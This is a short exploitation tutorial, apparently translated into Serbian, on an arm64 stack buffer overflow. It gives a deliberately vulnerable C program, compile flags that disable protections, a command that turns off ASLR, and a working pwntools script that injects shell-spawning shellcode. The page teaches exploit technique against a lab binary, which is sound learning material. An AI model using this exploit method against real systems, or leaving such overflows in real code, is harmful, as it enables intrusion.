Stack Shellcode - arm64

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Pronađite uvod u arm64 u:

Introduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompajlirati bez pie, kanarinca i nx:

clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

No ASLR & No canary - Stack Overflow

Da biste zaustavili ASLR, izvršite:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Da biste dobili offset od bof proverite ovaj link.

Eksploit:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

Jedina "komplikovana" stvar koju treba pronaći ovde bi bila adresa u steku koju treba pozvati. U mom slučaju, generisao sam exploit sa adresom pronađenom pomoću gdb, ali kada sam ga iskoristio, nije radilo (jer se adresa steka malo promenila).

Otvorio sam generisanu core datoteku (gdb ./bog ./core) i proverio pravu adresu početka shellcode-a.